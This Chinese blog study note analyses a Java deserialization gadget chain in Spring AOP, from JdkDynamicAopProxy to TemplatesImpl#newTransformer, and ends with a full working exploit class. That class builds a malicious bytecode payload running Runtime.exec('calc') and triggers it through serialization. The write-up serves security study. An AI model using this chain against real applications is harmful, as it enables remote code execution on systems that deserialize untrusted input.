这链子拖了大半年了都没看,最近幡然醒悟还是得学习

环境

用的依赖如下

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.9</version>
</dependency>

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.7</version>
</dependency>

aspectjweaver依赖就是我们之前任意文件写链子用到的,这次要用是因为spring-aop的代码依赖这个库不然到时看代码就会报 字节码与源码不匹配的错误了(

如果想省事可以直接

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId>
<version>2.6.14</version>
</dependency>

AbstractAspectJAdvice

文章说通过污点搜索和分析搜索到了org.springframework.aop.aspectj.AbstractAspectJAdvice这个类,这个类非常的特殊,他在反序列化之后也拥有反射调用方法的能力

还有这是咋通过污点搜索搜到的,大佬求教🥲

这个类我们关注两个方法:

  1. readObject方法
  2. invokeAdviceMethodWithGivenArgs方法

image-20250914235547401

image-20250914235623291

这里invokeAdviceMethodWithGivenArgs会调用aspectJAdviceMethod获得的方法,aspectJAdviceMethod是一个protected transient类型的方法

然后在readObject的地方给aspectJAdviceMethod进行了一个赋值

所以现在要解决两个问题:

  1. args是否可控
  2. 如何调用invokeAdviceMethodWithGivenArgs方法

先找到aspectInstanceFactory这个对象的可序列化的类,因为需要调用该对象的getAspectInstace方法来获取实例,得先可控这个参数,这个对象是一个AspectInstanceFactory接口,找到了他的其中两个实现类可以序列化,SingletonAspectInstanceFactorySingletonMetadataAwareAspectInstanceFactory

寻找AbstractAspectJAdvice利用链

现在就是按常规流程开始往上找利用链了

image-20250915110608081

ReflectiveMethodInvocation

基本上从各个链子往上找的话,他们都会先走到一个invoke方法,然后走到ReflectiveMethodInvocation#proceed这个方法

image-20250915110823574

比如其中一条链子

org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
org.springframework.aop.aspectj.AspectJAroundAdvice#invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs

那看一下proceed方法的具体流程

public Object proceed() throws Throwable {
// We start with an index of -1 and increment early.
if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
return invokeJoinpoint();
}

Object interceptorOrInterceptionAdvice =
this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
// Evaluate dynamic method matcher here: static part will already have
// been evaluated and found to match.
InterceptorAndDynamicMethodMatcher dm =
(InterceptorAndDynamicMethodMatcher) interceptorOrInterceptionAdvice;
Class<?> targetClass = (this.targetClass != null ? this.targetClass : this.method.getDeclaringClass());
if (dm.methodMatcher.matches(this.method, targetClass, this.arguments)) {
return dm.interceptor.invoke(this);
}
else {
// Dynamic matching failed.
// Skip this interceptor and invoke the next in the chain.
return proceed();
}
}
else {
// It's an interceptor, so we just invoke it: The pointcut will have
// been evaluated statically before this object was constructed.
return ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this);
}
}

这里interceptorsAndDynamicMethodMatchers是一个List列表,只要其不为空就能过if的判断,currentInterceptorIndex就是索引,代码里面赋值为-1

interceptorOrInterceptionAdvice是从列表里获取的,然后列表也是可以序列化的,索引也就是整数,所以现在就可以认为interceptorOrInterceptionAdvice是我们可控的了

然后我们可以看到这里有两个invoke方法的调用,按照前面的链子,我们可以直接走else,就省去了很多麻烦

JdkDynamicAopProxy

但是发现ReflectiveMethodInvocation这个类并没有实现序列化接口,所以要看看有没有其他类在反序列化的时候能够动态创建这个类

我们往上找他的构造方法的调用,发现了JdkDynamicAopProxy#invoke方法当中创建了ReflectiveMethodInvocation这个类,然后JdkDynamicAopProxy本身就是一个动态代理而且可以序列化

image-20250915162200818

更巧的是,他在创建了之后就立马调用了proceed方法

回看前面ReflectiveMethodInvocation我们需要控制的参数,就是那个列表,在这里对应的就是chain这个变量

chain的获得方式如下:
image-20250915162503074

现在的链子就变成这样

org.springframework.aop.framework.JdkDynamicAopProxy#invoke->
org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
org.springframework.aop.aspectj.AspectJAroundAdvice#invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs

chain的获取

接下来的重点就是怎么控制chain的获取了

// Get the interception chain for this method.
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

他是通过getInterceptorsAndDynamicInterceptionAdvice方法来获取的,看一下这个方法

image-20250915163714905

这段代码有两种方式获取chain

  1. 从缓存的methodCache中获取

  2. 通过advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice方法获取

先看一下methodCache

image-20250915164828090

被transient修饰,不能序列化

image-20250915164902251

然后在readObject当中,他也是直接就新建了,没有可控的空间,所以第一种方式就不行了

那接下来只能看第二种方式了

image-20250915170904389

这里我们实际上要看的是DefaultAdvisorChainFactory#getInterceptorsAndDynamicInterceptionAdvice方法

public List<Object> getInterceptorsAndDynamicInterceptionAdvice(
Advised config, Method method, @Nullable Class<?> targetClass) {

// This is somewhat tricky... We have to process introductions first,
// but we need to preserve order in the ultimate list.
AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
Advisor[] advisors = config.getAdvisors();
List<Object> interceptorList = new ArrayList<>(advisors.length);
Class<?> actualClass = (targetClass != null ? targetClass : method.getDeclaringClass());
Boolean hasIntroductions = null;

for (Advisor advisor : advisors) {
if (advisor instanceof PointcutAdvisor) {
// Add it conditionally.
PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor;
if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
boolean match;
if (mm instanceof IntroductionAwareMethodMatcher) {
if (hasIntroductions == null) {
hasIntroductions = hasMatchingIntroductions(advisors, actualClass);
}
match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions);
}
else {
match = mm.matches(method, actualClass);
}
if (match) {
MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
if (mm.isRuntime()) {
// Creating a new object instance in the getInterceptors() method
// isn't a problem as we normally cache created chains.
for (MethodInterceptor interceptor : interceptors) {
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
}
}
else {
interceptorList.addAll(Arrays.asList(interceptors));
}
}
}
}
else if (advisor instanceof IntroductionAdvisor) {
IntroductionAdvisor ia = (IntroductionAdvisor) advisor;
if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {
Interceptor[] interceptors = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors));
}
}
else {
Interceptor[] interceptors = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors));
}
}

return interceptorList;
}

该方法最终返回的是interceptorList对象,然后这里的config实际上就是AdvisedSupport类,因为前面在调用的时候传递的是this参数

然后核心是看一下interceptorList这个列表是怎么添加元素的

经过分析,其分为两种方式添加元素:

  1. interceptorList.addAll(Arrays.asList(interceptors));
  2. interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));

这两种方式都和interceptors有关,interceptors的获取都是通过registry.getInterceptors(advisor);这种方式

image-20250915172904937

但是registry的获取是一个静态单例

image-20250915172939374

静态单例是无法通过反序列化来控制的,所以只能看看DefaultAdvisorAdapterRegistry#getInterceptors方法了

public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {
List<MethodInterceptor> interceptors = new ArrayList<>(3);
Advice advice = advisor.getAdvice();
if (advice instanceof MethodInterceptor) {
interceptors.add((MethodInterceptor) advice);
}
for (AdvisorAdapter adapter : this.adapters) {
if (adapter.supportsAdvice(advice)) {
interceptors.add(adapter.getInterceptor(advisor));
}
}
if (interceptors.isEmpty()) {
throw new UnknownAdviceTypeException(advisor.getAdvice());
}
return interceptors.toArray(new MethodInterceptor[0]);
}

这里就出现我们可控的东西了,就是这个advisor,这是通过前面的分析可以得知这个是可控的

如果这个变量同时实现AdviceMethodInterceptor接口,则可以将其添加到interceptors,这个interceptors就是我们最终返回的目标chain。

这里就找到了一个org.springframework.aop.aspectj.AspectJAfterAdvice

image-20250915194057448

这里实现了MethodInterceptor,但同时也实现AfterAdvice,AfterAdvice又是实现了Advice的,所以该类已经满足两种条件了,但是文章却说没有实现Advice,这点有点奇怪,难道是aop的版本问题吗🤔

如果只实现了其中一个的话,也可以用JdkDynamicAopProxy来代理advice接口

然后还有一点就是advisor的选取,这里找了一个实现类DefaultIntroductionAdvisor

image-20250915194759944

该类也是可以序列化的,现在基本链子都走通了,其他就走老方法利用即可

这里选择templatesImpl#newTransformer作为最终的反射调用,newTransformer为无参方法,我们也不用考虑如何去控制参数,更加方便

exp编写

目前完整利用链如下

BadAttributeValueExpException#toString->
org.springframework.aop.framework.JdkDynamicAopProxy#invoke->
org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
org.springframework.aop.aspectj.AspectJAroundAdvice#invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs->
TemplatesImpl#newTransformer

现在来确定一下具体的每个类

image-20250915225935823

这里的aspectInstanceFactory选取SingletonAspectInstanceFactory这个类

image-20250915230415638

这个类可以直接返回我们的TemplatesImpl恶意类,也能序列化,是可控的

这里注意AspectJAroundAdvice是AbstractAspectJAdvice的子类

最终编写的exp如下:

package org.clown;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javafx.beans.binding.ObjectExpression;
import javafx.scene.effect.Reflection;
import javassist.*;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;

public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}

public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

public static TemplatesImpl getTemplates() throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
// 构造JdkDynamicAopProxy
public static Object createJdkDynamicAopProxy(AdvisedSupport advised) throws Exception{
// 1. 拿到目标类对象(包私有)
Class<?> clazzz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");

// 2. 拿到唯一构造器 AdvisedSupport 类型
Constructor<?> ctor = clazzz.getDeclaredConstructor(AdvisedSupport.class);
ctor.setAccessible(true); // 打开权限

// 3. 实例化并返回
return ctor.newInstance(advised);
}
public static void main(String[] args) throws Exception{
// 创建TemplatesImpl恶意类
TemplatesImpl templates = getTemplates();
// 构建aspectInstanceFactory用于返回TemplatesImpl
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templates);
// 构建AspectJAroundAdvice,随便构建一些参数放上去
Method method = templates.getClass().getMethod("newTransformer");
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method,aspectJExpressionPointcut,singletonAspectInstanceFactory);
// 然后修改AspectJAroundAdvice的对应的属性
setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
setFieldValue(aspectJAroundAdvice,"declaringClass",TemplatesImpl.class);
setFieldValue(aspectJAroundAdvice,"methodName","newTransformer");
setFieldValue(aspectJAroundAdvice,"parameterTypes",new Class[0]);

// 构建JdkDynamicAopProxy
AdvisedSupport advisedSupport = new AdvisedSupport();
List<Advisor> advisors = new ArrayList<>();
// 要让chain为List<Object>,里面的对象为AspectJAroundAdvice,有点乱,估计写完这次就忘记又要慢慢分析了
DefaultAdvisorChainFactory defaultAdvisorChainFactory = new DefaultAdvisorChainFactory();
DefaultIntroductionAdvisor defaultIntroductionAdvisor = new DefaultIntroductionAdvisor(aspectJAroundAdvice);
advisedSupport.setAdvisorChainFactory(defaultAdvisorChainFactory);
advisors.add(defaultIntroductionAdvisor);
setFieldValue(advisedSupport,"advisors",advisors);
InvocationHandler jdkDynamicAopProxy = (InvocationHandler) createJdkDynamicAopProxy(advisedSupport);
// 构建BadAttributeValueExpException
Proxy proxy = (Proxy) Proxy.newProxyInstance(exp.class.getClassLoader(), AspectJAroundAdvice.class.getInterfaces(), jdkDynamicAopProxy);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",proxy);
byte[] serialize = serialize(badAttributeValueExpException);
Object deserialize = deserialize(serialize);
}
}

image-20250916102139423

我这里并没有去再套一层动态代理,直接用AspectJAroundAdvice也是成功了的,所以可以文章作者在写的时候可能有点小错误?🤔虽然再套一层也是没问题的

参考

https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

https://github.com/Ape1ron/SpringAopInDeserializationDemo1